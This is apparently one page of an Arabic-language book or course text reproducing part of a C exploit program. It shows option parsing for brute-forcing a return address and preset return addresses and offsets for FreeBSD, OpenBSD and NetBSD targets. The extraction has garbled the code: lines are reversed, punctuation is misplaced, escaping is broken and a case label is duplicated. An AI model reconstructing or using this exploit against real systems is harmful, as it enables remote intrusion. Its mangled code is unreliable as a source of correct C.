Page 301 - بسم الله الرحمن الرحيم
P. 301

;++bruteforce
                                               ;"\\\victim.type = \\\"Custom target
                                    ;(victim.retaddr = strtoul(optarg, NULL, 16
printf(\\\"Using 0x%lx as the baseadress while bruteforcing..\\\\n\\\",

                                                                          ;(victim.retaddr
                                                                                       ;break

                                                                                 :'\\case \\'d
                                                          ;(victim.delta = atoi(optarg
                            ;(printf(\\\"Using %d as delta\\\\n\\\", victim.delta

                                                                                       ;break

                                                                                 :'\\case \\'r
                                                  ;(victim.repretaddr = atoi(optarg
                 printf(\\\"Repeating the return address %d times\\\\n\\\",

                                                                     ;(victim.repretaddr
                                                                                       ;break

                                                                                 :'\\case \\'z
                                                      ;(victim.repzero = atoi(optarg
         ;(printf(\\\"Number of zeroes will be %d\\\\n\\\", victim.repzero

                                                                                       ;break

                                                                                 :'\\case \\'o
                                                                            ;++bruteforce
                                                                        } (switch(*optarg

                                                                                  :'\\case \\'f
                                                       ;"\\\victim.type = \\\"FreeBSD
                                                        ;victim.retaddr = 0x80a0000

                                                                     ;victim.delta = -150
                                                                 ;victim.repretaddr = 6

                                                                    ;victim.repzero = 36
                                                                                       ;break

                                                                                 :'\\case \\'o
                                                      ;"\\\victim.type = \\\"OpenBSD

                                                            ;victim.retaddr = 0x80000
                                                                     ;victim.delta = -146

                                                                 ;victim.repretaddr = 6
                                                                    ;victim.repzero = 36
                                                                                       ;break

                                                                                 :'\\case \\'n
                                                         ;"\\\victim.type = \\\"NetBSD
                                                       ;victim.retaddr = 0x080e0000

                                                                      ;victim.delta = -90
                                                                 ;victim.repretaddr = 5

                                                                    ;victim.repzero = 42
                                                                                       ;break

                                         301
   296   297   298   299   300   301   302   303   304   305   306